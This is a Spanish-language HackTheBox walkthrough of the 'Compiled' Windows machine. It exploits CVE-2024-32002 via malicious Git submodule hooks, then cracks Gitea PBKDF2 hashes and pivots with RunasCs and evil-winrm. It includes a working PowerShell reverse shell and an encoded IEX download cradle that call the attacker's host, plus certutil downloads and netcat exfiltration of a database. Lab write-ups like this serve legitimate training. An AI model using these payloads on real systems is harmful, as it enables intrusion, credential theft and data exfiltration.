Compiled – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“Compiled” es una máquina de dificultad media de la plataforma HackTheBox
. Encontramos un servicio web en la máquina víctima el cual clona repositorios de Git
. Adicionalmente, somos capaces de encontrar un servicio interno de Gitea
en la máquina víctima el cual muestra algunos repositorios. Somos capaces de crear un repositorio malicioso en el repositorio interno de Gitea
el cual abusa una vulnerabilidad catalogada como CVE-2024-32002 la cual permite ejecución remota de comandos. Abusando esta vulnerabilidad, somos capaces de ganar acceso inicial a la máquina víctima. Una vez dentro, encontramos una base de datos SQLite
; dentro de ésta encontramos algunos hashes y salts para passwords con algoritmo pbkdf2
, de los cuales somos capaces de crackear uno de ellos y encontrar la contraseña de un nuevo usuario. Este nuevo usuario tiene acceso a través de WinRM
; donde también podemos pivotear a este usuario utilizando la herramienta RunasCs
. Ya como este nuevo usuario, somos capaces de ver un nuevo servicio corriendo ligado a Visual Studio
el cual es vulnerable a CVE-2024-20656; éste nos permite ejecución de comandos y ganar así acceso como nt authority/system
.
User / Usuario Link to heading
Empezando con un rápido, pero silencioso escaneo con Nmap
obtenemos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.26
Éste nos muestra 4 puertos abiertos: 3000
, 5000
, sitios HTTP
, 5985
Windows Remote Management
y 7680
.
Aplicando algunos escaneos de reconocimiento con la flag -sVC
muestra:
❯ sudo nmap -sVC -p3000,5000,5985,7680 10.10.11.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 02:24 -03
Nmap scan report for 10.10.11.26
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=389dcb552a48c041; Path=/; HttpOnly; SameSite=Lax
<SNIP>
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/3.0.3 Python/3.12.3
| Date: Sun, 08 Dec 2024 05:25:20 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5234
| Connection: close
| <!DOCTYPE html>
<SNIP>
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open pando-pub?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.67 seconds
Usando WhatWeb
contra los sitios corriendo en los puertos 3000
y 5000
retorna:
❯ whatweb -a 3 http://10.10.11.26:3000/
http://10.10.11.26:3000/ [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.26], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Git], X-Frame-Options[SAMEORIGIN]
❯ whatweb -a 3 http://10.10.11.26:5000/
http://10.10.11.26:5000/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.26], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services], Werkzeug[3.0.3]
El puerto 3000
muestra un servicio de Gitea
, mientras que el puerto 5000
parece estar corriendo un sitio web con Flask
.
Visitando http://10.10.11.26:3000
muestra, como no es sorpresa, un sitio web con Gitea
:
Nos creamos una cuenta en el sitio de Gitea
y vamos a la pestaña de Explore
para ver repositorios expuestos/públicos. Allí podemos ver 2 repositorios:
Ambos repositorios pertenecen a un usuario llamado richard
.
Revisando el repositorio Compiled
muestra una descripción para este repositorio:
Welcome to Compiled, your one-stop solution for compiling C++, C#, and .NET projects. This web application allows users to input GitHub repository URLs and get their projects compiled effortlessly.
En resumen, es una página que compila projectos escritos en C
, C#
y Microsoft .NET
. Algunas veces, cuando tratamos de clonar/descargar un repositorio, éste sólo contiene un archivo .sln
(para C#
) o .c
(para C
). De manera que, aparentemente, este sitio compila/trata con códigos en estos lenguajes.
De la misma manera, este sitio provee una sección de “uso”:
Once the application is up and running, follow these steps to compile your projects:
1. Open your web browser and navigate to http://localhost:5000.
2. Enter the URL of your GitHub repository (must be a valid URL starting with http:// and ending with .git).
3. Click the Submit button.
4. Wait for the compilation process to complete and view the results.
Revisando el otro repositorio del usuario richard
, llamado Calculator
, muestra:
La página muestra un simple script de una calculadora escrita en C#
, cómo construirla/compilarla y ejecutarla, pero nada más allá de eso.
Ya en este punto podemos ir a la otra página HTTP
corriendo en el puerto 5000
. Visitando http://10.10.11.26:5000
muestra un compilador C
, C#
y Microsoft .NET
:
Basados en cómo se ve el sitio web, asumimos que el código del repositorio Compiled
que se encontraba en el repositorio Gitea
de la máquina víctima (el cual también incluía un archivo app.py
para Flask
) es el código corriendo este sitio web.
Primero que todo, revisemos si el compilador funciona o cómo funciona. Para esto podríamos crear un simple proyecto en C#
, o simplemente clonar el repositorio Calculator
, exponerlo a través de un servidor temporal HTTP
y ver si funciona. Clonamos el repositorio Calculator
:
❯ git clone http://10.10.11.26:3000/richard/Calculator.git
Cloning into 'Calculator'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 25 (delta 7), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (25/25), 8.81 KiB | 2.94 MiB/s, done.
Resolving deltas: 100% (7/7), done.
Lo exponemos a través de un servidor HTTP
temporal con Python
en el puerto 8000
:
❯ ls -la && python -m http.server 8000
total 36
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 02:57 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Dec 8 02:57 ..
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec 8 02:57 Calculator
-rw-rw-r-- 1 gunzf0x gunzf0x 1420 Dec 8 02:57 Calculator.sln
drwxrwxr-x 8 gunzf0x gunzf0x 4096 Dec 8 02:58 .git
-rw-rw-r-- 1 gunzf0x gunzf0x 2518 Dec 8 02:57 .gitattributes
-rw-rw-r-- 1 gunzf0x gunzf0x 6223 Dec 8 02:57 .gitignore
-rw-rw-r-- 1 gunzf0x gunzf0x 3308 Dec 8 02:57 README.md
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Y luego pasamos la url en la página web del puerto 5000
de la máquina víctima. No obstante, al hacerlo obtenemos un error:
El sitio debe ser un sitio web válido para Git
, terminando con .git
.
Podríamos descarga un contenedor de Docker
para Gitea
, desplegar Gitea
allí, exponerlo y así pedir nuestro repositorio creado. O, dado que ya tenemos un sitio web corriendo Gitea
y podemos crearnos cuentas en éste, podemos aprovechar este servicio ya instalado para crear repositorios. Por ejemplo, si pasamos la url http://10.10.11.26:3000/richard/Calculator.git
(la cual es la url del repositorio Calculator
dentro del servicio Git
interno) obtenemos la siguiente respuesta del servidor:
Solamente obtenemos el texto Your git repository is being cloned for compilation
(tu repositorio de git
está siendo clonado para ser compilado). Pero no sucede nada más.
Debemos entonces de encontrar un camino para ejecutar o inyectar comandos mientras el programa es compilado y/o clonado (ya que, basados en el texto del proyecto, el código es clonado). Buscando por exploits de Remote Code Execution
(RCE
, o ejecución remota de comandos) para Git
retorna una vulnerabilidad catalogada como CVE-2024-32002. La frase que captura nuestra atención es This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed
. De manera que este código es activado al momento de clonarse un repositorio; que es la misma acción que la página web dice que se realiza. Buscando más acerca de vulnerabilidad encontramos este blog con un PoC. Leyendo un poco, el autor provee el siguiente exploit de Bash:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
En corto, lo que hace este script es:
- Define algunas configuraciones globales para
Git
. - Crea un archivo llamado
tell-tale
. - Crea un repositorio malicioso llamado
hook
el cual contiene un payload, donde da como ejemplo comandos a ser ejecutados (ejemplos para diferentes sistemas operativos:echo "amal_was_here" > /tmp/pwnd
paraLinux
,calc.exe
paraWindows
yopen -a Calculator.app
paramacOS
). - Prepara un submódulo en otro repositorio llamado
captain
. Agrega como submódulo el repositoriohook
en este nuevo repositorio. - Crea un link simbólico
.git
el cual activará la ejecución de comandos al ser clonado. - A modo de ejemplo, ejecuta el código inyectado al clonar el repositorio
captain
en un nuevo repositorio llamadohooked
(no confundirlo conhook
).
Podemos entonces modificar levemente este script para nuestros propositos. El autor, adicionalmente, provee un repositorio de Github con todos los repositorios y archivos necesitados para performar el ataque. En mi caso no lo clonaré ya que el script de Bash
dado previamente ya los crea. Lo que sí cambiaremos serán 2 cosas: i) El script está ejecutando el repositorio hooks
que se encuentra en local (es decir, está ejecutando el repositorio hook
de manera local en vez de un repositorio en la nube como lo puede ser un servicio de Gitea
o Github
en remoto); ii) Dado que la máquina víctima es una máquina Windows
, queremos ejecutar un comando para enviarnos una reverse shell.
En el blog, se muestra cómo solucionar el punto i). Básicamente, el blog dice que debemos cambiar:
$ cat captain/.gitmodules
[submodule "x/y"]
path = A/modules/x
url = C:/Users/user/rce/hook
a que se vea como:
[submodule "x/y"]
path = A/modules/x
url = git@github.com-hook:amalmurali47/hook.git
Sólo para revisar cómo se llaman los repositorios en la máquina víctima, podemos ir a nuestra cuenta creada en el sitio de Gitea
, crear un nuevo repositorio de prueba, seleccionar/clickear en agregar un archivo README.md
, licencias entre otros, y crear el repositorio. Hecho esto, tenemos ahora un repositorio de prueba:
De manera que, para clonar este repositorio, tendríamos la dirección:
http://10.10.11.26:3000/gunzf0x/test_repo.git
para HTTP
. O, en su lugar:
COMPILED\Richard@gitea.compiled.htb:gunzf0x/test_repo.git
para clonar a través de SSH
. En mi caso me quedaré con la primera opción, pero pueden también intentar la segunda si quieren.
Como comando, podemos definir un “cradle” (que es un simple servidor HTTP
exponiendo un archivo de Powershell
) para enviarnos una reverse shell. Esto lo hacemos para ver si somos bloqueados por algún antivirus al intentar obtener una shell. Usualmente, lo que hacemos para obtener una reverse shell es:
- Enviar un payload a la máquina víctima.
- Obtener una reverse shell en un listener.
No obtstante, con un “cradle” los pasos son:
- Guardar un payload que nos enviará una reverse shell en un archivo.
- Exponer el archivo con el payload en un servidor
HTTP
temporal. - Enviamos, como payload inicial, un comando que solicitará el archivo expuesto en el servidor
HTTP
. - Obtenemos una petición en nuestro servidor
HTTP
. - Se ejecuta el archivo del paso 1 y se obtiene una reverse shell.
Si obtenemos una respuesta (paso 4), pero no obtenemos una reverse shell (paso 5), esto quiere decir que puede haber algún antivirus o Windows Defender
bloqueando nuestra shell.
Como payload para enviarnos una reverse shell usamos un script para Powershell
de Nishang:
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.2',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Donde modificamos levemente el script, agregando nuestra IP de atacante 10.10.16.2
y puerto 443
(el puerto en el cual nos pondremos en escucha con netcat
para obtener una shell). Guardamos este script en un archivo llamado rev.ps1
.
Ahora creamos el “cradle” el cual es simplemente una petición al archivo rev.ps1
a través de Powershell
siendo expuesto por el puerto 8000
de nuestra máquina de atacantes. Encodeamos el payload a utf-16le
(que es como Powershell
interpreta las cosas) y lo volvemos a encodear a base64
:
❯ echo -n 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.2:8000/rev.ps1")' | iconv -t utf-16le | base64 -w0; echo
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA
Posteriormente, servimos el archivo rev.ps1
en un servidor temporal HTTP
con Python
a través del puerto 8000
:
❯ ls -la && python3 -m http.server 8000
total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec 8 04:30 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec 8 02:23 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 500 Dec 8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Tenemos los payloads para la máquina Windows
listos. Ahora vamos a crear los payloads para Git
. Primero, creamos dos repositorios: uno llamado hook
y otro llamado captain
en nuestra cuenta creada en el servicio Gitea
de la máquina víctima y los dejamos vacíos:
Tendremos así ambos repositorios creados:
Ahora, para nuestros propósitos modificamos levemente el script de Bash dado y lo adaptamos:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook (CHANGED TO GET A REVSHELL)
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
# Set origin where "hook" has been uploaded to Git in the victim machine
hook_repo_path='http://10.10.11.26:3000/gunzf0x/hook.git'
git remote add origin $hook_repo_path
# Upload the files
git push -u origin main
cd ..
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
# Upload files to created "captain" repository to Git in the victim machine
git remote add origin http://10.10.11.26:3000/gunzf0x/captain.git
git push -u origin main
cd ..
Donde hemos cambiados los origin
de los repositorios a los que hemos creados en el servicio de Gitea
de la máquina víctima y, como comando a ejecutar, pasamos el payload de Powershell
con el cradle.
Hecho esto, ejecutamos el script:
❯ bash git_exploit.sh
Initialized empty Git repository in /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/hook/.git/
[main (root-commit) e7fbcf1] post-checkout
1 file changed, 2 insertions(+)
create mode 100755 y/hooks/post-checkout
Username for 'http://10.10.11.26:3000': gunzf0x
Password for 'http://gunzf0x@10.10.11.26:3000':
<SNIP>
El script eventualmente nos preguntará por usuario y contraseña; cuando esto suceda simplemente le pasamos las credenciales que hemos utilizado en la cuenta que hayamos creado en el servicio de Gitea
.
Si esto ha funcionado, podemos ver que ahora ambos repositorios contienen los archivos maliciosos:
Además, recordar revisar que el archivo .gitmodules
en el repositorio captain
apunta al repositorio malicioso:
Exponemos el archivo rev.ps1
en un servidor HTTP
con Python
por el puerto 8000
si es que no lo hemos hecho antes:
❯ ls -la && python3 -m http.server 8000
total 24
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 04:55 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec 8 02:23 ..
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 04:55 captain
-rwxrwxr-x 1 gunzf0x gunzf0x 1620 Dec 8 04:51 git_exploit.sh
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec 8 04:55 hook
-rw-rw-r-- 1 gunzf0x gunzf0x 500 Dec 8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Empezamos un listener con netcat
junto con rlwrap
por el puerto 443
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
y en la página del corriendo por el puerto 5000
(la que clonaba y compilaba código) enviamos el repositorio captain
que tenemos en nuestra cuenta (http://10.10.11.26:3000/gunzf0x/captain.git
en mi caso). Luego de cerca de un minuto obtenemos un request en nuestro server HTTP
y, luego de ello, una shell como el usuario Richard
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 63452
whoami
Richard
PS C:\Users\Richard\source\cloned_repos\6shma\.git\modules\x> whoami
Richard
Ya dentro, buscando por archivos, eventualmente encontramos un archivo .db
en la ruta C:\ProgramFiles\Gitea\data
llamada gitea.db
:
PS C:\Program Files\Git> cmd /c dir "C:\Program Files\*.db" /s
Volume in drive C has no label.
Volume Serial Number is 352B-98C6
Directory of C:\Program Files\Gitea\data
12/08/2024 08:59 AM 2,023,424 gitea.db
1 File(s) 2,023,424 bytes
Total Files Listed:
1 File(s) 2,023,424 bytes
0 Dir(s) 10,047,758,336 bytes free
Para transferir este archivo desde la máquina víctima a nuestra máquina de atacantes, podemos usar un binario de netcat
para Windows
.
Primero, pasamos el binario de netcat
de nuestra máquina de atacantes a la máquina víctima Windows
. Como ya es usual, exponemos el archivo a descargar en un servidor temporal HTTP
de Python
, y descargamos el archivo utilizando certutil
en la máquina víctima Windows
:
PS C:\Program Files\Git> certutil.exe -f -split -urlcache http://10.10.16.2:8000/nc64.exe C:\Users\Richard\Downloads\nc.exe
**** Online ****
0000 ...
b0d8
CertUtil: -URLCache command completed successfully.
Luego, transferimos el archivo gitea.db
a nuestra máquina de atacante. Para ello empezamos un listener en otro puerto como 4444
y guardamos toda la data recibida en un archivo llamado gitea.db
:
❯ nc -lvnp 4444 > gitea.db
listening on [any] 4444 ...
y en la máquina víctima usamos el binario de netcat
transferido para pasarnos el archivo gitea.db
:
PS C:\Program Files\Git> cmd /c 'C:\Users\Richard\Downloads\nc.exe 10.10.16.2 4444 < C:\"Program Files"\Gitea\data\gitea.db'
Luego de cerca de un minuto, podemos para el proceso (Ctrl+C
) en nuestra máquina de atacante, descargando así el archivo. Revisando este archivo tenemos que es un archivo de SQLite
:
❯ file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3042000, file counter 720, database pages 494, 1st free page 494, free pages 1, cookie 0x1cb, schema 4, UTF-8, version-valid-for 720
Revisamos su contenido usando SQLite
en nuestra máquina de atacante:
❯ sqlite3 gitea.db
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables
<SNIP>
language_stat upload
lfs_lock user
lfs_meta_object user_badge
<SNIP>
Tenemos una tabla user
. Revisando sus columnas tenemos:
sqlite> PRAGMA table_info(user);
0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
<SNIP>
Tenemos usuarios, contraseñas y más.
Revisamos algunas columnas que pueden ser interesantes:
sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user;
administrator|administrator|administrator@compiled.htb|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|a45c43d36dce3076158b19c2c696ef7b
richard|richard|richard@compiled.htb|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|d7cf2c96277dd16d95ed5c33bb524b62
emily|emily|emily@compiled.htb|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|227d873cca89103cd83a976bdac52486
gunzf0x|gunzf0x|gunzf0x@compiled.htb|b9d5e695a7f4495ad46477262659d757071dab51983b97b20519e3068ed95d8fd2668469b02daf269591bbf94c9d199df7f4|pbkdf2$50000$50|67769c632307eeae38492e09e2f86d2b
Tenemos hashes salteados con algoritmo PBKDF2
. Básicamente, aquí las columnas importantes son name
para el usuario, passwd
para la contraseña hasheada, passwd_hash_algo
el cual define el algoritmo de hash a usar, y salt
el cual es la sal para el hash del usuario.
Sin contar el último hash (el cual es el hash para nuestro usuario creado), encontramos 3 hashes:
1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d
4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e
97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16
Y sus respectivos salts:
a45c43d36dce3076158b19c2c696ef7b
d7cf2c96277dd16d95ed5c33bb524b62
227d873cca89103cd83a976bdac52486
Donde el primer hash corresponde al salt de la primera línea y así… Guardamos tanto los hashes como los salts en archivos en nuestra máquina de atacante.
Este blog da una muy buena explicación acerca del algoritmo de hashing PBKDF2
. Buscando por pbkdf2 Gitea
nos lleva a este Cheat-Sheet de configuración de seguridad para Gitea. Allí se menciona el parámetro password_hash_algo
:
PASSWORD_HASH_ALGO
: pbkdf2
: The hash algorithm to use [argon2, pbkdf2, pbkdf2_v1, pbkdf2_hi, scrypt, bcrypt], argon2 and scrypt will spend significant amounts of memory.
The hash functions may be tuned by using $
after the algorithm:
argon2$<time>$<memory>$<threads>$<key-length>
bcrypt$<cost>
pbkdf2$<iterations>$<key-length>
scrypt$<n>$<r>$<p>$<key-length>
pbkdf2$50000$50
para password_hash_algo
, esto quiere decir que tenemos 50000 de valor para iterations
y 50 para key length
.Afortunadamente, la librería hashlib tiene una función para lidiar con estos hashes. Ésta requiere de un hash_name
(tipo de hash, como SHA256
), una contraseña, una salt, iterations (iteraciones) y dklen
(largo de la llave en bytes). El ejemplo que se da en su página es:
from hashlib import pbkdf2_hmac
our_app_iters = 500_000 # Application specific, read above.
dk = pbkdf2_hmac('sha256', b'password', b'bad salt' * 2, our_app_iters)
print (dk.hex())
# '15530bba69924174860db778f2c6f8104d3aaf9d26241840c8c4a641c8d000a9'
Escribimos un simple script en Python
basados en el ejemplo para encontrar la contraseña de un usuario:
import binascii
from hashlib import pbkdf2_hmac
# Set parameters found in .db file
n_iter: int = 50_000
key_length_val: int = 50
def find_password(dictionary_file, target_hash, salt, iterations=n_iter, key_length=key_length_val):
"""
Find matching password from dictionary file.
"""
target_hash_bytes = binascii.unhexlify(target_hash)
# Read rockyou.txt
with open(dictionary_file, 'r', encoding='utf-8') as file:
for line in file:
password = line.strip()
computed_hash = pbkdf2_hmac('sha256', password.encode('utf-8'), salt, iterations, dklen=key_length)
# Check if hash is correct
if computed_hash == target_hash_bytes:
print(f"[+] Password found: {password}")
return password
print("[-] Password not found.")
return None
# Parameters
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486') # Salt value from gitea.db
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' # Hash sourced from gitea.db
dictionary_file = '/usr/share/wordlists/rockyou.txt' # Path to dictionary file
# Find matching password
find_password(dictionary_file, target_hash, salt)
El hash para el usuario emily
es crackeable:
❯ python3 crack_pass_with_hash.py
[+] Password found: 12345678
Otra manera de encontrar la contraseña, sin usar un script de Python
ni la librería hashlib
, es usar el formato:
<hashing-algorithm>:<iterations>:<hex-to-base64-salt>:<hex-to-base64r-hash>
Donde las propiedades requeridas son:
- El algoritmo de hashing
sha256
. - Iterations, donde como hemos podido ver, son
50000
. - Pasar el salt de hexadecimal a “texto normal” y luego a
base64
:
❯ echo -n '227d873cca89103cd83a976bdac52486' | xxd -r -p | base64
In2HPMqJEDzYOpdr2sUkhg==
- Repetir paso 3, pero para el hash hallado en vez de la salt:
❯ echo -n '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' | xxd -r -p | base64
l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=
Luego, podemos intentar un Brute Force Password Cracking
con la herramienta Hashcat
. De acuerdo a hashes de ejemplo de Hashcat, el modo 10900
es el correcto para este caso:
❯ hashcat -m 10900 -a 0 -w 3 -O sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY= /usr/share/wordlists/rockyou.txt
<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=:12345678
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q...Io/BY=
<SNIP>
Tenemos una potencial (y muy segura) contraseña para este usuario: emily:12345678
. Podemos usar la herramienta RunasCs
para pivotear internamente a este usuario (la cual puede ser descargada desde su repositorio Github). Subimos el ejecutable de RunasCs.exe
como ya lo hemos hecho anteriormente para otros archivos y lo usamos para pivotear al usuario emily
:
PS C:\Program Files\Git> C:\Users\Richard\Downloads\runascs.exe 12345678 cmd.exe -r 10.10.16.2:443 -t 10 --bypass-uac
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-153257$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5080 created in background.
y obtenemos una shell como el usuario emily
:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60923
Microsoft Windows [Version 10.0.19045.4651]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
compiled\emily
Además, recordando el escaneo de Nmap
, el puerto del servicio WinRM
estaba abierto. ¿Quizás el usuario emily
tiene acceso a través de este servicio? Podemos revisar esto usando la herramienta NetExec
:
❯ nxc winrm 10.10.11.26 -u 'emily' -p '12345678'
WINRM 10.10.11.26 5985 COMPILED [*] Windows 10 / Server 2019 Build 19041 (name:COMPILED) (domain:COMPILED)
WINRM 10.10.11.26 5985 COMPILED [+] COMPILED\emily:12345678 (Pwn3d!)
Funciona.
Podemos conectarnos a la máquina víctima usando evil-winrm
también:
❯ evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'
Evil-WinRM shell v3.6
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Emily\Documents>
Podemos finalmente leer la flag de usuario en el Desktop de este usuario.
NT Authority/System - Administrador Link to heading
Revisando el directorio Documents
del usuario emily
nos permite ver:
*Evil-WinRM* PS C:\Users\Emily\Documents> dir
Directory: C:\Users\Emily\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/20/2024 1:55 AM Visual Studio 2019
Tiene un directorio de Visual Studio
.
Podemos, además, revisar los procesos de Windows
corriendo en la máquina víctima:
*Evil-WinRM* PS C:\Users\Emily\Documents> services.msc
Path Privileges Service
---- ---------- -------
<SNIP>
"C:\Program Files\Microsoft Update Health Tools\uhssvc.exe" False uhssvc
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" False VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" False VMTools
